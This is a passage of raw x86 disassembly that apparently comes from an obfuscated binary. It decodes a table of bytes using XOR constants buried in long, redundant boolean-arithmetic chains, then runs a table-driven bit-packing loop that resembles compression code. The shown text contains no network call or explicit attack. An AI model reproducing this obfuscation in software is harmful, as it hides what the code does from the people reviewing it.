xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x29
or cl, 0x29
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x474469], al
mov al, byte [0x4743ea]
mov cl, al
and cl, 0x10
shl cl, 1
add al, 0x10
sub al, cl
mov byte [0x47446a], al
mov al, byte [0x4743eb]
xor al, 0x82
mov byte [0x47446b], al
mov al, byte [0x4743ec]
xor al, 0xb9
mov byte [0x47446c], al
mov al, byte [0x4743ed]
xor al, 0xdd
mov byte [0x47446d], al
mov al, byte [0x4743ee]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x41
xor dl, 0xff
and al, 0xbe
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47446e], dl
mov cl, byte [0x4743ef]
mov dl, cl
xor dl, 0xff
and dl, 0x7e
and cl, 0x81
mov al, dl
or al, cl
xor al, 0xff
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor al, 0xff
xor dl, 0xff
and al, dl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x72
xor dl, 0xff
or al, 0x8d
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [0x47446f], dl
mov al, byte [0x4743f0]
mov cl, al
xor cl, 0x52
xor cl, 0xff
and cl, 0x52
shl cl, 1
sub cl, 0x52
sub al, cl
mov byte [0x474470], al
mov al, byte [0x4743f1]
mov cl, al
and cl, 0xca
shl cl, 1
add al, 0xca
sub al, cl
mov byte [0x474471], al
mov dl, byte [0x4743f2]
mov cl, dl
xor cl, 0xff
mov al, cl
xor al, 0xff
or al, 0x5a
and cl, 0xa5
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x5a
add dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x474472], al
mov dl, byte [0x4743f3]
mov al, dl
and al, al
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
or al, 0x5f
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0xa0
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
xor al, 0xff
mov byte [0x474473], al
mov al, byte [0x4743f4]
xor al, 2
mov byte [0x474474], al
mov bl, byte [0x4743f5]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x43
add dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0xbd
sub bl, al
mov byte [0x474475], bl
mov cl, byte [0x4743f6]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x33
xor al, 0xff
xor cl, 0xff
and cl, 0x33
or al, cl
xor al, 0xff
mov byte [0x474476], al
mov al, byte [0x4743f7]
mov ah, al
xor ah, 0xff
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov dh, ah
xor dh, 0xff
xor ah, 0xff
and dh, ah
or dl, dl
xor dl, 0xff
or dh, dl
xor dh, 0xff
xor dh, 0xff
mov ah, dh
xor ah, 0xa9
and ah, dh
mov dl, al
xor dl, 0xff
and dl, 0xf0
and al, 0xf
or dl, al
xor dl, 0xf
and dl, 0xa9
mov al, ah
xor al, 0xff
xor ah, 0xff
or al, ah
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x46
and dl, 0xb9
or cl, dl
xor cl, 0xb9
and al, cl
mov byte [0x474477], al
mov al, byte [0x4743f8]
mov dl, al
xor dl, 0xff
or dl, 0x70
mov cl, al
xor cl, 0xff
or cl, 0x70
xor dl, 0xff
xor cl, 0xff
or dl, cl
shl dl, 1
sub al, 0xff
add al, 0x8f
add al, 0xff
sub al, 0x28
sub al, dl
add al, 0x28
mov byte [0x474478], al
mov al, byte [0x4743f9]
xor al, 0xe8
mov byte [0x474479], al
mov al, byte [0x4743fa]
xor al, 0x17
mov byte [0x47447a], al
mov al, byte [0x4743fb]
mov cl, al
xor cl, 0xff
and cl, 0x2a
and al, 0xd5
or cl, al
xor cl, 0xae
mov byte [0x47447b], cl
mov al, byte [0x4743fc]
xor al, 0x87
mov byte [0x47447c], al
mov al, byte [0x4743fd]
mov cl, al
xor cl, 0xff
and cl, 0xa9
and al, 0x56
or cl, al
xor cl, 0x47
mov byte [0x47447d], cl
mov al, byte [0x4743fe]
xor al, 0xd1
mov byte [0x47447e], al
mov al, byte [0x4743ff]
mov cl, al
and cl, 0x7c
shl cl, 1
add al, 0x7c
sub al, cl
mov byte [0x47447f], al
mov dl, byte [0x474400]
mov al, dl
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
mov ah, dl
add ah, 0xff
sub ah, cl
and al, ah
xor al, 0xff
xor al, 0xff
or al, 0xb2
xor al, 0xff
and al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0xff
xor ah, 0xff
xor ah, 0xff
or ah, 0
and ah, 0xb2
xor al, 0xff
xor ah, 0xff
and al, ah
mov byte [0x474480], al
mov al, byte [0x474401]
mov ah, al
or ah, ah
mov cl, ah
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub ah, cl
mov dl, ah
xor dl, 0xff
and dl, 0x94
or ah, 0x6b
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
and dl, ah
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
xor cl, 0x6b
xor cl, 0xff
or al, 0x6b
and al, cl
or dl, al
xor dl, 0xff
mov byte [0x474481], dl
mov al, byte [0x474402]
mov cl, al
or cl, cl
mov ah, cl
xor ah, 0xff
xor cl, 0xff
and ah, cl
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0x70
and ah, 0x8f
or dl, ah
xor dl, 0x11
or dh, 0x9e
xor dh, 0xff
and dh, 0xff
or dl, dh
xor dl, 0xff
xor al, 0xff
and al, 0x61
or dl, al
xor dl, 0xff
mov byte [0x474482], dl
mov al, byte [0x474403]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
mov ah, cl
and ah, 0xd
xor ah, 0xff
and cl, 0xd
xor cl, 0xff
and ah, cl
xor ah, 0xff
and al, 0xf2
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 2
or dl, 2
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
and al, dl
mov byte [0x474483], al
mov al, byte [0x474404]
mov cl, al
xor cl, 0xff
and cl, 0x6f
and al, 0x90
or cl, al
mov byte [0x474484], cl
mov al, byte [0x474405]
mov cl, al
xor cl, 0xff
and cl, 0x5e
and al, 0xa1
or cl, al
xor cl, 0xaa
mov byte [0x474485], cl
mov al, byte [0x474406]
mov cl, al
xor cl, 0x2a
xor cl, 0xff
and cl, 0x2a
shl cl, 1
sub cl, 0x2a
sub al, cl
mov byte [str._R__], al
mov al, byte [0x474407]
xor al, 0xd1
mov byte [0x474487], al
mov al, byte [str.W___n]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xa5
xor dl, 0xff
shl dl, 1
sub al, 0x23
add al, 0x5a
add al, 0x23
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x474488], al
mov al, byte [0x474409]
mov cl, al
xor cl, 0xff
and cl, 0x20
and al, 0xdf
or cl, al
mov byte [0x474489], cl
mov al, byte [0x47440a]
mov dl, al
xor dl, 0x27
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
and dl, 0x27
shl dl, 1
add dl, 0x67
sub dl, 0x27
sub dl, 0x67
add al, 0x31
sub al, dl
sub al, 0x31
mov byte [0x47448a], al
mov al, byte [0x47440b]
mov cl, al
xor cl, 0xdc
xor cl, 0xff
and cl, 0xdc
shl cl, 1
sub cl, 0xdc
sub al, cl
mov byte [0x47448b], al
mov dl, byte [0x47440c]
mov cl, dl
and cl, cl
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov cl, al
xor cl, 0xac
xor cl, 0xff
or al, 0xac
and al, cl
xor al, 0xff
or dl, dl
xor dl, 0xff
or dl, 0xac
xor dl, 0xff
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
mov cl, al
or cl, dl
xor cl, 0xff
or al, dl
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x47448c], cl
mov al, byte [0x47440d]
mov cl, al
xor cl, 0xff
or cl, 0xce
add cl, 0x32
mov dl, al
xor dl, 0x31
and dl, al
or cl, dl
mov byte [0x47448d], cl
mov al, byte [0x47440e]
xor al, 7
mov byte [0x47448e], al
mov al, byte [0x47440f]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x23
mov cl, al
xor cl, 0x23
and cl, al
or dl, cl
xor dl, 0xa3
mov byte [0x47448f], dl
mov al, byte [0x474410]
xor al, 0x36
mov byte [0x474490], al
mov dl, byte [0x474411]
mov al, dl
xor al, 0xff
and al, 0x43
mov ah, dl
and ah, 0xbc
xor ah, 0xff
xor dl, 0xff
or dl, 0x43
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov byte [0x474491], cl
mov al, byte [0x474412]
xor al, 9
mov byte [0x474492], al
mov al, byte [0x474413]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0x90
xor dl, 0xff
or cl, 0x90
and cl, dl
and al, 0x6f
or cl, al
mov byte [0x474493], cl
mov al, byte [0x474414]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x42
xor dl, 0xff
xor al, 0xff
or al, 0x42
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474494], dl
mov al, byte [0x474415]
xor al, 0x6f
mov byte [0x474495], al
mov al, byte [0x474416]
mov cl, al
and cl, 0x5c
shl cl, 1
mov dl, al
and dl, 0x5c
shl dl, 1
xor al, 0x5c
add al, dl
sub al, cl
mov byte [0x474496], al
mov al, byte [0x474417]
xor al, 0xc5
mov byte [0x474497], al
mov al, byte [0x474418]
xor al, 0x25
mov byte [0x474498], al
mov cl, byte [0x474419]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xe0
xor al, 0xff
xor cl, 0xff
and cl, 0xe0
or al, cl
xor al, 0xff
mov byte [0x474499], al
mov cl, byte [0x47441a]
mov al, cl
xor al, 0xff
and al, 0x61
mov dl, cl
xor dl, 0x9e
xor dl, 0xff
or cl, 0x9e
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
xor dl, 0xba
mov byte [0x47449a], dl
mov al, byte [0x47441b]
xor al, 0x5d
mov byte [0x47449b], al
mov al, byte [0x47441c]
xor al, 0xf1
mov byte [0x47449c], al
mov al, byte [0x47441d]
xor al, 0xd
mov byte [0x47449d], al
mov dl, byte [0x47441e]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0x62
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0x62
xor cl, 0xff
or al, cl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x2b
xor dl, 0xff
or al, 0xd4
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47449e], dl
mov al, byte [0x47441f]
xor al, 0xb9
mov byte [0x47449f], al
mov al, byte [0x474420]
mov cl, al
xor cl, 0xff
and cl, 0xb1
and al, 0x4e
or cl, al
mov byte [0x4744a0], cl
mov al, byte [0x474421]
mov cl, al
xor cl, 0x2b
xor cl, 0xff
and cl, 0x2b
shl cl, 1
sub cl, 0x2b
sub al, cl
mov byte [0x4744a1], al
mov dl, byte [0x474422]
mov ah, dl
xor ah, 0xff
and ah, 0xff
or ah, 0
mov al, ah
xor al, 0xff
or al, 0x3c
and ah, 0xc3
xor ah, 0xff
xor al, 0xff
xor ah, 0xff
or al, ah
and dl, 0x3c
or al, dl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov byte [0x4744a2], al
mov al, byte [0x474423]
xor al, 0x84
mov byte [0x4744a3], al
mov al, byte [0x474424]
xor al, 0xe5
mov byte [0x4744a4], al
mov al, byte [0x474425]
xor al, 0xcf
mov byte [0x4744a5], al
mov al, byte [0x474426]
xor al, 0x66
mov byte [0x4744a6], al
mov al, byte [0x474427]
and al, 0xff
or al, 0
xor al, 0xfc
mov byte [0x4744a7], al
mov bl, byte [0x474428]
mov dl, bl
and dl, dl
xor dl, 0xff
and dl, 0x3d
xor dl, 0xff
mov al, bl
and al, 0xc2
xor al, 0xff
and dl, al
xor dl, 0xff
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
and dl, 0x3d
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x3d
sub bl, al
mov byte [0x4744a8], bl
mov al, byte [0x474429]
xor al, 0xa
mov byte [0x4744a9], al
mov al, byte [0x47442a]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, al
sub ah, cl
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0x19
xor ah, 0x19
or dl, ah
mov ah, al
xor ah, 0xe6
and ah, al
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
and dl, ah
xor dl, 0xff
mov byte [0x4744aa], dl
mov al, byte [0x47442b]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x2e
and al, 0xd1
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
and ah, 0xbf
mov ch, cl
and ch, 0xbf
and al, 0x40
or ah, 0
or ch, al
xor ah, ch
or dl, cl
xor dl, 0xff
and dl, 0xff
or ah, dl
mov byte [0x4744ab], ah
mov dl, byte [0x47442c]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xc8
mov ah, dl
and ah, 0x37
or cl, ah
xor cl, 0x37
mov ah, al
xor ah, cl
xor ah, 0xff
or al, cl
and al, ah
xor al, 0xff
and al, 0x31
xor dl, 0xff
mov ah, dl
and ah, 0xce
xor ah, 0xff
and dl, 0xce
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor al, 0xff
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
and al, ah
mov byte [0x4744ac], al
mov bl, byte [0x47442d]
mov dl, bl
and dl, 0x54
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x54
add bl, 0x57
sub bl, al
sub bl, 0x57
mov byte [0x4744ad], bl
mov dl, byte [0x47442e]
mov al, dl
xor al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x88
and dl, 0x77
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
and ah, cl
xor al, 0xff
xor dl, 0xff
and al, dl
xor ah, 0xff
xor al, 0xff
and ah, al
mov byte [0x4744ae], ah
mov al, byte [0x47442f]
mov cl, al
and cl, 0x83
shl cl, 1
add al, 0x83
sub al, cl
mov byte [0x4744af], al
mov al, byte [0x474430]
xor al, 0xd8
mov byte [0x4744b0], al
mov al, byte [0x474431]
mov cl, al
xor cl, 0x7e
mov dl, cl
xor dl, 0xff
and dl, 0xf9
and cl, 6
or dl, cl
xor dl, 6
mov cl, dl
xor cl, 0x7e
xor cl, 0xff
or dl, 0x7e
and dl, cl
shl dl, 1
mov cl, dl
xor cl, 0x7e
and dl, 0x81
shl dl, 1
sub dl, cl
sub al, dl
mov byte [0x4744b1], al
mov al, byte [0x474432]
mov cl, al
xor cl, 0xff
and cl, 0x33
and al, 0xcc
or cl, al
xor cl, 0xce
mov byte [0x4744b2], cl
mov al, byte [0x474433]
mov cl, al
xor cl, 0xff
and cl, 0x38
and al, 0xc7
or cl, al
mov byte [0x4744b3], cl
mov al, byte [0x474434]
mov cl, al
xor cl, 0x11
xor cl, 0xff
and cl, 0x11
shl cl, 1
sub cl, 0x11
sub al, cl
mov byte [0x4744b4], al
mov al, byte [0x474435]
xor al, 0x3c
mov byte [0x4744b5], al
mov al, byte [0x474436]
xor al, 0x25
mov byte [0x4744b6], al
mov al, byte [0x474437]
xor al, 0xe7
mov byte [0x4744b7], al
mov bl, byte [0x474438]
mov al, bl
xor al, 0xff
and al, 0x2f
mov cl, bl
and cl, 0xd0
or al, cl
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
and dl, 0x2f
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x80
sub al, 0x2f
add al, 0x80
sub bl, al
mov byte [0x4744b8], bl
mov al, byte [0x474439]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x14
xor dl, 0xff
mov cl, al
xor cl, 0xff
and cl, 0x14
or dl, cl
xor dl, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0xc0
and dl, 0x3f
or ah, dl
xor ah, 0x3f
mov cl, ah
xor cl, 0xeb
xor cl, 0xff
or ah, 0xeb
and ah, cl
shl ah, 1
sub ah, 0xeb
sub al, ah
mov byte [0x4744b9], al
mov al, byte [0x47443a]
mov cl, al
and cl, 0x75
shl cl, 1
add al, 0x75
sub al, cl
mov byte [0x4744ba], al
mov al, byte [0x47443b]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xdc
and al, 0xdc
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4744bb], cl
mov al, byte [0x47443c]
mov cl, al
xor cl, 0xff
and cl, 0xed
and al, 0x12
or cl, al
mov byte [0x4744bc], cl
mov bl, byte [0x47443d]
mov al, bl
xor al, 0x9a
xor al, 0xff
and al, 0x9a
shl al, 1
sub al, 0x9a
mov dl, bl
sub dl, al
xor dl, 0xff
and dl, 0x9a
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x65
add al, 1
sub bl, al
mov byte [0x4744bd], bl
mov al, byte [0x47443e]
mov cl, al
xor cl, 0xff
mov dl, cl
and dl, 0xaf
xor dl, 0xff
and cl, 0xaf
xor cl, 0xff
and dl, cl
xor dl, 0xff
and al, 0x50
mov cl, dl
and cl, al
xor dl, al
or cl, dl
mov byte [str.shj], cl
mov ecx, dword [ebp - 0x70]
mov al, byte [0x47443f]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xe3
xor dl, 0xff
xor al, 0xff
or al, 0xe3
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4744bf], dl
jmp 0x443974
mov dword [0x4765b8], 1
push eax
mov edi, esp
push eax
mov ebx, esp
push eax
mov esi, esp
push eax
mov dword [ebp - 0x24], esp
push eax
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x6c], esp
push eax
mov dword [ebp - 0x68], esp
push eax
mov dword [ebp - 0x64], esp
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x60], esp
push eax
mov dword [ebp - 0x5c], esp
push eax
mov dword [ebp - 0x54], esp
push eax
mov dword [ebp - 0x50], esp
push eax
mov edx, esp
push eax
mov dword [ebp - 0x48], esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x4c], esp
push eax
mov dword [ebp - 0x58], esp
mov dword [edi], ecx
mov dword [ebx], 1
mov eax, dword [edi]
add eax, 0x9272
mov dword [esi], eax
mov dword [ebp - 0x28], edi
jmp 0x4439e0
mov eax, dword [esi]
mov ecx, dword [edi]
cmp eax, dword [ecx + 0x28]
jae 0x443f70
jmp 0x4439ef
cmp dword [ebx], 1
sete al
test al, 1
jne 0x4439fb
jmp 0x443a28
jmp 0x4439fd
mov eax, dword [esi]
mov ecx, eax
add ecx, 1
mov dword [esi], ecx
movzx ecx, byte [eax]
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
xor eax, 0xffffffff
xor eax, 0xffffffff
or eax, 0x100
mov dword [ebx], eax
jmp 0x443a28
jmp 0x443a2a
mov eax, dword [ebx]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 1
add eax, ecx
cmp eax, 0
setne al
test al, 1
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x14], edx
jne 0x443a4e
jmp 0x443ea7
mov eax, dword [esi]
movzx eax, byte [eax]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [esi]
movzx ecx, byte [eax + 1]
mov eax, dword [esi]
movzx edx, byte [eax + 2]
shl edx, 8
mov eax, edx
and eax, ecx
xor eax, 0xffffffff
add ecx, edx
mov edx, ecx
and edx, 1
shl edx, 1
xor ecx, 1
add ecx, edx
mov edx, ecx
and edx, eax
or ecx, eax
add edx, ecx
mov eax, dword [ebp - 0x34]
mov dword [eax], edx
mov eax, dword [esi]
add eax, 3
mov dword [esi], eax
jmp 0x443a93
mov dword [ebp - 0x1c], esi
mov eax, dword [edi]
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx]
movzx ecx, word [ecx*2 + 0x474bc0]
movzx eax, word [eax + ecx*2 + 0x8852]
mov esi, dword [ebp - 0x6c]
mov dword [esi], eax
mov eax, dword [edi]
mov ecx, dword [edx]
movzx ecx, word [ecx*2 + 0x474bc0]
movzx eax, byte [eax + ecx + 0x8f12]
mov edx, dword [ebp - 0x68]
mov dword [edx], eax
mov eax, dword [esi]
mov ecx, dword [edi]
mov ecx, dword [ecx + 0x44]
shl eax, cl
mov ecx, dword [edi]
or eax, dword [ecx + 0x48]
mov dword [ecx + 0x48], eax
mov eax, dword [edx]
mov ecx, dword [edi]
mov edx, dword [ecx + 0x44]
and eax, 0xffffffff
xor esi, esi
sub esi, eax
sub edx, esi
mov dword [ecx + 0x44], edx
jmp 0x443af3
mov eax, dword [edi]
cmp dword [eax + 0x44], 8
jb 0x443b33
mov eax, dword [edi]
mov eax, dword [eax + 0x30]
mov ecx, dword [edi]
cmp eax, dword [ecx + 0x34]
jae 0x443b1b
mov eax, dword [edi]
mov eax, dword [eax + 0x48]
mov ecx, dword [edi]
mov edx, dword [ecx + 0x30]
mov esi, edx
add esi, 1
mov dword [ecx + 0x30], esi
mov byte [edx], al
mov eax, dword [edi]
mov ecx, dword [eax + 0x48]
shr ecx, 8
mov dword [eax + 0x48], ecx
mov eax, dword [edi]
mov ecx, dword [eax + 0x44]
sub ecx, 8
mov dword [eax + 0x44], ecx
jmp 0x443af3
jmp 0x443b35
jmp 0x443b37
jmp 0x443b39
jmp 0x443b3b
mov esi, dword [ebp - 0x20]
mov eax, dword [esi]
mov ecx, dword [esi]
movzx ecx, byte [ecx + 0x474ec0]
mov ecx, dword [ecx*4 + 0x475010]
xor ecx, 0xffffffff
mov edx, eax
xor edx, ecx
and edx, eax
mov ecx, dword [ebp - 0x64]
mov dword [ecx], edx
mov eax, dword [esi]
movzx eax, byte [eax + 0x474ec0]
mov edx, dword [ebp - 0x30]
mov dword [edx], eax
mov edx, dword [ecx]
mov ecx, dword [edi]
mov ecx, dword [ecx + 0x44]
shl edx, cl
mov dword [ebp - 0x3c], edx
mov eax, dword [edi]
mov dword [ebp - 0x40], eax
mov ecx, dword [eax + 0x48]
mov esi, ecx
xor esi, 0xffffffff
mov eax, edx
xor eax, 0xffffffff
mov ebx, esi
and ebx, 0x96f9171
and ecx, 0xf6906e8e
mov edi, eax
xor edi, 0x96f9171
xor edi, 0xffffffff
mov edx, eax
or edx, 0x96f9171
and edx, edi
mov edi, dword [ebp - 0x3c]
and edi, 0xf6906e8e
or ebx, ecx
or edx, edi
mov edi, ebx
xor edi, 0xffffffff
mov ecx, edx
and ecx, edi
mov edi, dword [ebp - 0x28]
xor edx, 0xffffffff
and ebx, edx
or ecx, ebx
mov ebx, esi
or ebx, eax
xor ebx, 0xffffffff
xor esi, 0xffffffff
xor eax, 0xffffffff
and esi, eax
xor ebx, 0xffffffff
xor esi, 0xffffffff
and ebx, esi
or ebx, ebx
xor ebx, 0xffffffff
or ebx, 0
xor ebx, 0xffffffff
or ebx, 0
xor ebx, 0xffffffff
and ebx, 0xffffffff
or ecx, ebx
mov eax, dword [ebp - 0x40]
mov dword [eax + 0x48], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [edi]
add eax, dword [ecx + 0x44]
mov dword [ecx + 0x44], eax
mov ebx, dword [ebp - 0x34]
jmp 0x443c14
mov eax, dword [edi]
cmp dword [eax + 0x44], 8
setae al
test al, 1
jne 0x443c23
jmp 0x443c86
mov eax, dword [edi]
mov eax, dword [eax + 0x30]
mov ecx, dword [edi]
cmp eax, dword [ecx + 0x34]
jae 0x443c43
mov eax, dword [edi]
mov eax, dword [eax + 0x48]
mov ecx, dword [edi]
mov edx, dword [ecx + 0x30]
mov esi, edx
add esi, 1
mov dword [ecx + 0x30], esi
mov byte [edx], al
mov eax, dword [edi]
mov ecx, dword [eax + 0x48]
shr ecx, 8
mov dword [eax + 0x48], ecx
mov ecx, dword [edi]
mov edx, dword [ecx + 0x44]
mov esi, edx
xor esi, 0xffffffff
and esi, 0xb8abc9d9
mov eax, edx
and eax, 0x47543626
or esi, eax
xor esi, 0xb8abc9d1
and edx, 0xfffffff7
shl edx, 1
mov eax, edx
xor eax, 0xffffffff
and eax, esi
xor esi, 0xffffffff
and edx, esi
sub edx, eax
mov dword [ecx + 0x44], edx
jmp 0x443c12
jmp 0x443c88
jmp 0x443c8a
jmp 0x443c8c
cmp dword [ebx], 0x200
jae 0x443cb4
mov eax, dword [ebx]
movzx eax, byte [eax + 0x475260]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebx]
movzx eax, byte [eax + 0x4746c0]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
jmp 0x443cd8
mov eax, dword [ebx]
shr eax, 8
movzx eax, byte [eax + 0x474940]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebx]
shr eax, 8
movzx eax, byte [eax + 0x474440]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
jmp 0x443cda
mov eax, dword [edi]
mov edx, dword [ebp - 0x24]
mov ecx, dword [edx]
movzx eax, word [eax + ecx*2 + 0x8a92]
mov esi, dword [ebp - 0x60]
mov dword [esi], eax
mov eax, dword [edi]
mov ecx, dword [edx]
movzx eax, byte [eax + ecx + 0x9032]
mov edx, dword [ebp - 0x5c]
mov dword [edx], eax
mov eax, dword [esi]
mov ecx, dword [edi]
mov ecx, dword [ecx + 0x44]
shl eax, cl
mov ecx, dword [edi]
or eax, dword [ecx + 0x48]
mov dword [ecx + 0x48], eax
mov ecx, dword [edx]
mov eax, dword [edi]
mov edx, dword [eax + 0x44]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, ecx
add esi, edx
xor ecx, ecx
sub ecx, esi
mov dword [eax + 0x44], ecx
mov eax, dword [edi]
cmp dword [eax + 0x44], 8
jb 0x443d8f
mov eax, dword [edi]
mov eax, dword [eax + 0x30]
mov ecx, dword [edi]
cmp eax, dword [ecx + 0x34]
jae 0x443d50
mov eax, dword [edi]
mov eax, dword [eax + 0x48]
mov ecx, dword [edi]
mov edx, dword [ecx + 0x30]
mov esi, edx
add esi, 1
mov dword [ecx + 0x30], esi
mov byte [edx], al
mov eax, dword [edi]
mov ecx, dword [eax + 0x48]
shr ecx, 8
mov dword [eax + 0x48], ecx
mov ecx, dword [edi]
mov edx, dword [ecx + 0x44]
mov eax, edx
xor eax, 0xffffffff
and eax, 0xffffffff
or eax, 0
and eax, 8
xor edx, 0xffffffff
or edx, 8
xor edx, 0xffffffff
and edx, 0xffffffff
add edx, 0x6e79a247
sub edx, eax
sub edx, 0x6e79a247
mov dword [ecx + 0x44], edx
jmp 0x443d28
jmp 0x443d91
jmp 0x443d93
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax*4 + 0x475010]
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
xor eax, 0xffffffff
or edx, eax
and edx, 0xffffffff
